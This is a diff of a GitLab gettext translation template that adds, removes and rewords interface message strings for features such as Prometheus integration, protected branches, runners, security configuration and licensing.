msgid "Project order will not be saved as local storage is not available."
msgstr ""
-msgid "Project overview"
-msgstr ""
-
msgid "Project path"
msgstr ""
-msgid "Project scanning help page"
-msgstr ""
-
msgid "Project security status"
msgstr ""
@@ -25667,9 +25370,6 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
-msgid "ProjectLifecycle|Stage"
-msgstr ""
-
msgid "ProjectOverview|Fork"
msgstr ""
@@ -26285,9 +25985,6 @@ msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr ""
-msgid "ProjectsNew|Create blank project/repository"
-msgstr ""
-
msgid "ProjectsNew|Create from template"
msgstr ""
@@ -26303,9 +26000,6 @@ msgstr ""
msgid "ProjectsNew|Import project"
msgstr ""
-msgid "ProjectsNew|Import project/repository"
-msgstr ""
-
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
@@ -26390,21 +26084,18 @@ msgstr ""
msgid "PrometheusService|Active"
msgstr ""
-msgid "PrometheusService|Auto configuration"
-msgstr ""
-
msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
msgstr ""
-msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
-msgstr ""
-
msgid "PrometheusService|Common metrics"
msgstr ""
msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
msgstr ""
+msgid "PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters."
+msgstr ""
+
msgid "PrometheusService|Custom metrics"
msgstr ""
@@ -26420,18 +26111,9 @@ msgstr ""
msgid "PrometheusService|Finding custom metrics..."
msgstr ""
-msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
-msgstr ""
-
-msgid "PrometheusService|GitLab manages Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
msgstr ""
-msgid "PrometheusService|Install Prometheus on clusters"
-msgstr ""
-
msgid "PrometheusService|Manage clusters"
msgstr ""
@@ -26447,9 +26129,6 @@ msgstr ""
msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
msgstr ""
-msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|More information"
msgstr ""
@@ -26462,6 +26141,9 @@ msgstr ""
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
+msgid "PrometheusService|Prometheus cluster integration"
+msgstr ""
+
msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
msgstr ""
@@ -26477,7 +26159,7 @@ msgstr ""
msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
msgstr ""
-msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgid "PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration."
msgstr ""
msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
@@ -26486,6 +26168,9 @@ msgstr ""
msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
msgstr ""
+msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
+msgstr ""
+
msgid "PrometheusService|https://prometheus.example.com/"
msgstr ""
@@ -26495,9 +26180,6 @@ msgstr ""
msgid "Promote"
msgstr ""
-msgid "Promote confidential issue to a non-confidential epic"
-msgstr ""
-
msgid "Promote issue to an epic"
msgstr ""
@@ -26516,9 +26198,6 @@ msgstr ""
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr ""
-msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
-msgstr ""
-
msgid "Promoted issue to an epic."
msgstr ""
@@ -26642,13 +26321,16 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
-msgid "ProtectedBranch|Allow force push"
+msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
msgstr ""
-msgid "ProtectedBranch|Allow force push for all users with push access."
+msgid "ProtectedBranch|Allow all users with push access to force push."
msgstr ""
-msgid "ProtectedBranch|Allow force push:"
+msgid "ProtectedBranch|Allowed to force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allowed to force push:"
msgstr ""
msgid "ProtectedBranch|Allowed to merge"
@@ -26669,12 +26351,21 @@ msgstr ""
msgid "ProtectedBranch|Branch:"
msgstr ""
+msgid "ProtectedBranch|By default, protected branches restrict who can modify the branch."
+msgstr ""
+
msgid "ProtectedBranch|Code owner approval"
msgstr ""
msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
+msgid "ProtectedBranch|Keep stable branches secure and force developers to use merge requests."
+msgstr ""
+
+msgid "ProtectedBranch|Learn more."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr ""
@@ -26684,6 +26375,9 @@ msgstr ""
msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
msgstr ""
+msgid "ProtectedBranch|Protected branches"
+msgstr ""
+
msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
msgstr ""
@@ -26693,12 +26387,15 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
-msgid "ProtectedBranch|Toggle allow force push"
+msgid "ProtectedBranch|Toggle allowed to force push"
msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
+msgid "ProtectedBranch|What are protected branches?"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -26744,18 +26441,30 @@ msgstr ""
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr ""
-msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
+msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
+msgstr ""
+
+msgid "ProtectedTag|Learn more."
msgstr ""
-msgid "Protocol"
+msgid "ProtectedTag|Limit access to creating and updating tags."
msgstr ""
-msgid "Provide feedback"
+msgid "ProtectedTag|Protected tags"
+msgstr ""
+
+msgid "ProtectedTag|What are protected tags?"
+msgstr ""
+
+msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
msgid "Provider"
msgstr ""
+msgid "Provision instructions"
+msgstr ""
+
msgid "Provisioned by:"
msgstr ""
@@ -27160,6 +26869,9 @@ msgstr ""
msgid "Register with two-factor app"
msgstr ""
+msgid "Registration Features include:"
+msgstr ""
+
msgid "Registration|Checkout"
msgstr ""
@@ -27187,6 +26899,9 @@ msgstr ""
msgid "Related Issues"
msgstr ""
+msgid "Related feature flags"
+msgstr ""
+
msgid "Related issues"
msgstr ""
@@ -27366,6 +27081,9 @@ msgstr ""
msgid "Remove limit"
msgstr ""
+msgid "Remove link"
+msgstr ""
+
msgid "Remove list"
msgstr ""
@@ -27381,15 +27099,9 @@ msgstr ""
msgid "Remove milestone"
msgstr ""
-msgid "Remove node"
-msgstr ""
-
msgid "Remove parent epic from an epic"
msgstr ""
-msgid "Remove primary node"
-msgstr ""
-
msgid "Remove priority"
msgstr ""
@@ -27405,9 +27117,6 @@ msgstr ""
msgid "Remove secondary email"
msgstr ""
-msgid "Remove secondary node"
-msgstr ""
-
msgid "Remove spent time"
msgstr ""
@@ -27555,15 +27264,18 @@ msgstr ""
msgid "Reopens this %{quick_action_target}."
msgstr ""
-msgid "Repair authentication"
+msgid "Replace"
msgstr ""
-msgid "Replace"
+msgid "Replace %{name}"
msgstr ""
msgid "Replace all label(s)"
msgstr ""
+msgid "Replace file"
+msgstr ""
+
msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr ""
@@ -27573,15 +27285,6 @@ msgstr ""
msgid "Replication"
msgstr ""
-msgid "Replication details"
-msgstr ""
-
-msgid "Replication enabled"
-msgstr ""
-
-msgid "Replication paused"
-msgstr ""
-
msgid "Reply by email"
msgstr ""
@@ -27981,6 +27684,9 @@ msgstr[1] ""
msgid "Requires values to meet regular expression requirements."
msgstr ""
+msgid "Requires your primary GitLab email address."
+msgstr ""
+
msgid "Resend"
msgstr ""
@@ -28131,12 +27837,6 @@ msgstr ""
msgid "Resync"
msgstr ""
-msgid "Resync all"
-msgstr ""
-
-msgid "Resync all %{replicableType}"
-msgstr ""
-
msgid "Retry"
msgstr ""
@@ -28152,9 +27852,6 @@ msgstr ""
msgid "Retry this job in order to create the necessary resources."
msgstr ""
-msgid "Retry update"
-msgstr ""
-
msgid "Retry verification"
msgstr ""
@@ -28249,6 +27946,9 @@ msgstr ""
msgid "RightSidebar|deleting the"
msgstr ""
+msgid "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+msgstr ""
+
msgid "Roadmap"
msgstr ""
@@ -28258,9 +27958,6 @@ msgstr ""
msgid "Rollback"
msgstr ""
-msgid "Rook"
-msgstr ""
-
msgid "Ruby"
msgstr ""
@@ -28327,12 +28024,21 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor."
+msgstr ""
+
msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|Architecture"
msgstr ""
+msgid "Runners|Are you sure you want to delete this runner?"
+msgstr ""
+
msgid "Runners|Can run untagged jobs"
msgstr ""
@@ -28342,6 +28048,9 @@ msgstr ""
msgid "Runners|Copy instructions"
msgstr ""
+msgid "Runners|Deploy GitLab Runner in AWS"
+msgstr ""
+
msgid "Runners|Description"
msgstr ""
@@ -28351,9 +28060,18 @@ msgstr ""
msgid "Runners|Download latest binary"
msgstr ""
+msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
+msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
+msgstr ""
+
msgid "Runners|IP Address"
msgstr ""
+msgid "Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account."
+msgstr ""
+
msgid "Runners|Install a runner"
msgstr ""
@@ -28366,9 +28084,15 @@ msgstr ""
msgid "Runners|Maximum job timeout"
msgstr ""
+msgid "Runners|Members of the %{type} can register runners"
+msgstr ""
+
msgid "Runners|Name"
msgstr ""
+msgid "Runners|New registration token generated!"
+msgstr ""
+
msgid "Runners|New runner, has not connected yet"
msgstr ""
@@ -28411,12 +28135,18 @@ msgstr ""
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner registration"
+msgstr ""
+
msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
msgstr ""
msgid "Runners|Show Runner installation instructions"
msgstr ""
+msgid "Runners|Something went wrong while fetching the tags suggestions"
+msgstr ""
+
msgid "Runners|Tags"
msgstr ""
@@ -28447,6 +28177,12 @@ msgstr ""
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor."
+msgstr ""
+
msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
msgstr ""
@@ -28525,6 +28261,12 @@ msgstr ""
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr ""
+msgid "SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:"
+msgstr ""
+
+msgid "SSH keys with the following fingerprints have expired and can no longer be used:"
+msgstr ""
+
msgid "SSH public key"
msgstr ""
@@ -28576,10 +28318,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
-msgstr ""
-
-msgid "Saved scan settings and target site settings which are reusable."
+msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
msgstr ""
msgid "Saving"
@@ -28612,6 +28351,9 @@ msgstr ""
msgid "Scheduled a rebase of branch %{branch}."
msgstr ""
+msgid "Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran."
+msgstr ""
+
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr ""
@@ -28663,6 +28405,9 @@ msgstr ""
msgid "Search"
msgstr ""
+msgid "Search GitLab"
+msgstr ""
+
msgid "Search Jira issues"
msgstr ""
@@ -28747,9 +28492,6 @@ msgstr ""
msgid "Search or filter results…"
msgstr ""
-msgid "Search or jump to…"
-msgstr ""
-
msgid "Search project"
msgstr ""
@@ -28880,12 +28622,6 @@ msgstr[1] ""
msgid "Searching by both author and message is currently not supported."
msgstr ""
-msgid "Seat Link"
-msgstr ""
-
-msgid "Seat Link is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "SeatUsage|Seat usage"
msgstr ""
@@ -28952,6 +28688,9 @@ msgstr ""
msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
msgstr ""
+msgid "SecurityConfiguration|%{scanType} configuration code snippet"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -28973,6 +28712,9 @@ msgstr ""
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
+msgid "SecurityConfiguration|Configuration history"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
@@ -28982,6 +28724,12 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "SecurityConfiguration|Copy code only"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
@@ -29006,9 +28754,18 @@ msgstr ""
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr ""
+msgid "SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of service attacks. Its features include:"
+msgstr ""
+
+msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups."
+msgstr ""
+
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage profiles for use by DAST scans."
+msgstr ""
+
msgid "SecurityConfiguration|Manage scans"
msgstr ""
@@ -29018,12 +28775,21 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Runtime security metrics for application environments."
+msgstr ""
+
msgid "SecurityConfiguration|SAST Analyzers"
msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
+msgid "SecurityConfiguration|Secure your project with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -29036,7 +28802,10 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
-msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Upgrade or start a free trial"
msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
@@ -29045,6 +28814,12 @@ msgstr ""
msgid "SecurityConfiguration|View history"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab."
+msgstr ""
+
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
@@ -29057,6 +28832,27 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|Description"
+msgstr ""
+
+msgid "SecurityPolicies|Enforcement status"
+msgstr ""
+
+msgid "SecurityPolicies|Latest scan"
+msgstr ""
+
+msgid "SecurityPolicies|Network"
+msgstr ""
+
+msgid "SecurityPolicies|Policy type"
+msgstr ""
+
+msgid "SecurityPolicies|Scan execution"
+msgstr ""
+
+msgid "SecurityPolicies|view results"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
@@ -29069,7 +28865,7 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|All activity"
msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
@@ -29132,6 +28928,9 @@ msgstr ""
msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
msgstr ""
+msgid "SecurityReports|Error parsing security reports"
+msgstr ""
+
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
@@ -29237,6 +29036,9 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -29339,9 +29141,6 @@ msgstr ""
msgid "Select Page"
msgstr ""
-msgid "Select Stack"
-msgstr ""
-
msgid "Select a branch"
msgstr ""
@@ -29372,9 +29171,15 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a role"
+msgstr ""
+
msgid "Select a shared template repository for all projects on this instance."
msgstr ""
+msgid "Select a subgroup to use as a template when creating new projects in the group."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29477,9 +29282,6 @@ msgstr ""
msgid "Select target branch"
msgstr ""
-msgid "Select the custom project template source group."
-msgstr ""
-
msgid "Select timezone"
msgstr ""
@@ -29573,7 +29375,7 @@ msgstr ""
msgid "Send report"
msgstr ""
-msgid "Send usage data"
+msgid "Send service data"
msgstr ""
msgid "Sentry API URL"
@@ -29612,10 +29414,10 @@ msgstr ""
msgid "Serverless platform"
msgstr ""
-msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
+msgid "ServerlessDetails|Configure cluster."
msgstr ""
-msgid "ServerlessDetails|Install Prometheus"
+msgid "ServerlessDetails|Function invocation metrics require the Prometheus cluster integration."
msgstr ""
msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
@@ -29657,9 +29459,6 @@ msgstr ""
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "Serverless|Install Knative"
-msgstr ""
-
msgid "Serverless|Learn more about Serverless"
msgstr ""
@@ -29702,6 +29501,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service ping is disabled, and cannot be configured through this form."
+msgstr ""
+
msgid "ServiceDesk|Enable Service Desk"
msgstr ""
@@ -29792,6 +29594,9 @@ msgstr ""
msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
msgstr ""
+msgid "Set size limits for displaying diffs in the browser."
+msgstr ""
+
msgid "Set target branch"
msgstr ""
@@ -29972,9 +29777,6 @@ msgstr ""
msgid "SeverityWidget|There was an error while updating severity."
msgstr ""
-msgid "Shards (%{shards})"
-msgstr ""
-
msgid "Shards to synchronize"
msgstr ""
@@ -29999,6 +29801,9 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
+msgid "Shared runners details"
+msgstr ""
+
msgid "Shared runners help link"
msgstr ""
@@ -30023,9 +29828,6 @@ msgstr ""
msgid "Show all issues."
msgstr ""
-msgid "Show all members"
-msgstr ""
-
msgid "Show all test cases."
msgstr ""
@@ -30053,9 +29855,6 @@ msgstr ""
msgid "Show complete raw log"
msgstr ""
-msgid "Show dependencies"
-msgstr ""
-
msgid "Show details"
msgstr ""
@@ -30089,12 +29888,6 @@ msgstr ""
msgid "Show one file at a time"
msgstr ""
-msgid "Show only direct members"
-msgstr ""
-
-msgid "Show only inherited members"
-msgstr ""
-
msgid "Show parent pages"
msgstr ""
@@ -30141,6 +29934,9 @@ msgstr ""
msgid "Showing all issues"
msgstr ""
+msgid "Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
@@ -30474,9 +30270,6 @@ msgstr ""
msgid "Something went wrong while deleting description changes. Please try again."
msgstr ""
-msgid "Something went wrong while deleting the package."
-msgstr ""
-
msgid "Something went wrong while deleting the source branch. Please try again."
msgstr ""
@@ -30579,6 +30372,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} notifications."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} to-do item."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30645,12 +30441,6 @@ msgstr ""
msgid "Sort direction: Descending"
msgstr ""
-msgid "SortOptions|Access level, ascending"
-msgstr ""
-
-msgid "SortOptions|Access level, descending"
-msgstr ""
-
msgid "SortOptions|Blocking"
msgstr ""
@@ -30684,9 +30474,6 @@ msgstr ""
msgid "SortOptions|Last created"
msgstr ""
-msgid "SortOptions|Last joined"
-msgstr ""
-
msgid "SortOptions|Last updated"
msgstr ""
@@ -30729,9 +30516,6 @@ msgstr ""
msgid "SortOptions|Oldest created"
msgstr ""
-msgid "SortOptions|Oldest joined"
-msgstr ""
-
msgid "SortOptions|Oldest last activity"
msgstr ""
@@ -30783,6 +30567,9 @@ msgstr ""
msgid "SortOptions|Start soon"
msgstr ""
+msgid "SortOptions|Title"
+msgstr ""
+
msgid "SortOptions|Type"
msgstr ""
@@ -30801,6 +30588,9 @@ msgstr ""
msgid "Source Branch"
msgstr ""
+msgid "Source Editor instance is required to set up an extension."
+msgstr ""
+
msgid "Source IP"
msgstr ""
@@ -30903,15 +30693,6 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "StageName|Build"
-msgstr ""
-
-msgid "StageName|Deploy"
-msgstr ""
-
-msgid "StageName|Test"
-msgstr ""
-
msgid "Standard"
msgstr ""
@@ -31128,12 +30909,18 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{pending} pending"
+msgstr ""
+
msgid "StatusCheck|API to check"
msgstr ""
msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|All passed"
+msgstr ""
+
msgid "StatusCheck|An error occurred deleting the %{name} status check."
msgstr ""
@@ -31152,7 +30939,7 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
-msgid "StatusCheck|Invoke an external API as part of the approvals"
+msgid "StatusCheck|Failed to load status checks."
msgstr ""
msgid "StatusCheck|Invoke an external API as part of the pipeline process."
@@ -31182,6 +30969,9 @@ msgstr ""
msgid "StatusCheck|Update status check"
msgstr ""
+msgid "StatusCheck|When this merge request is updated, a call is sent to the following APIs to confirm their status. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31269,6 +31059,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Strikethrough"
+msgstr ""
+
msgid "Subgroup information"
msgstr ""
@@ -31278,9 +31071,6 @@ msgstr ""
msgid "Subgroup navigation"
msgstr ""
-msgid "Subgroup overview"
-msgstr ""
-
msgid "SubgroupCreationLevel|Allowed to create subgroups"
msgstr ""
@@ -31635,6 +31425,9 @@ msgstr ""
msgid "SuperSonics|Activate"
msgstr ""
+msgid "SuperSonics|Activate cloud license"
+msgstr ""
+
msgid "SuperSonics|Activate subscription"
msgstr ""
@@ -31653,7 +31446,13 @@ msgstr ""
msgid "SuperSonics|Buy subscription"
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Cloud license"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
msgid "SuperSonics|Expires on"
@@ -31725,9 +31524,6 @@ msgstr ""
msgid "SuperSonics|There is a connectivity issue."
msgstr ""
-msgid "SuperSonics|This field is required."
-msgstr ""
-
msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -31740,7 +31536,7 @@ msgstr ""
msgid "SuperSonics|Type"
msgstr ""
-msgid "SuperSonics|Upload a legacy license"
+msgid "SuperSonics|Upload a license file"
msgstr ""
msgid "SuperSonics|Users in subscription"
@@ -31788,7 +31584,7 @@ msgstr ""
msgid "Survey Response"
msgstr ""
-msgid "Switch Branch"
+msgid "Switch branch"
msgstr ""
msgid "Switch branch/tag"
@@ -31803,7 +31599,7 @@ msgstr ""
msgid "Symbolic link"
msgstr ""
-msgid "Sync information"
+msgid "Sync LDAP"
msgstr ""
msgid "Sync now"
@@ -31812,10 +31608,10 @@ msgstr ""
msgid "Synced"
msgstr ""
-msgid "Synchronization disabled"
+msgid "Synchronization settings"
msgstr ""
-msgid "Synchronization settings"
+msgid "Synchronize LDAP"
msgstr ""
msgid "Syncing…"
@@ -32007,6 +31803,9 @@ msgstr ""
msgid "Telephone number"
msgstr ""
+msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
+msgstr ""
+
msgid "Template"
msgstr ""
@@ -32362,7 +32161,7 @@ msgstr ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgid "The Compliance Report captures merged changes that violate compliance best practices."
msgstr ""
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
@@ -32371,6 +32170,9 @@ msgstr ""
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
+msgid "The ID of the application."
+msgstr ""
+
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr ""
@@ -32380,6 +32182,9 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
+msgid "The Snowplow cookie domain."
+msgstr ""
+
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -32413,9 +32218,6 @@ msgstr ""
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr ""
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr ""
-
msgid "The collection of events added to the data gathered for that stage."
msgstr ""
@@ -32449,7 +32251,7 @@ msgstr ""
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
-msgid "The default CI configuration path for new projects."
+msgid "The default CI/CD configuration file and path for new projects."
msgstr ""
msgid "The dependency list details information about the components used within your project."
@@ -32479,6 +32281,9 @@ msgstr ""
msgid "The errors we encountered were:"
msgstr ""
+msgid "The file containing the export is not available yet; it may still be transferring. Please try again later."
+msgstr ""
+
msgid "The file has been successfully created."
msgstr ""
@@ -32553,6 +32358,9 @@ msgstr ""
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
+msgid "The hostname of your Snowplow collector."
+msgstr ""
+
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -32574,15 +32382,15 @@ msgstr ""
msgid "The invitation was successfully resent."
msgstr ""
-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr ""
-
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr ""
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -32667,18 +32475,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
-msgid "The phase of the development lifecycle."
-msgstr ""
-
msgid "The pipeline has been deleted"
msgstr ""
msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr ""
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr ""
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr ""
@@ -32742,9 +32544,6 @@ msgstr ""
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr ""
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr ""
-
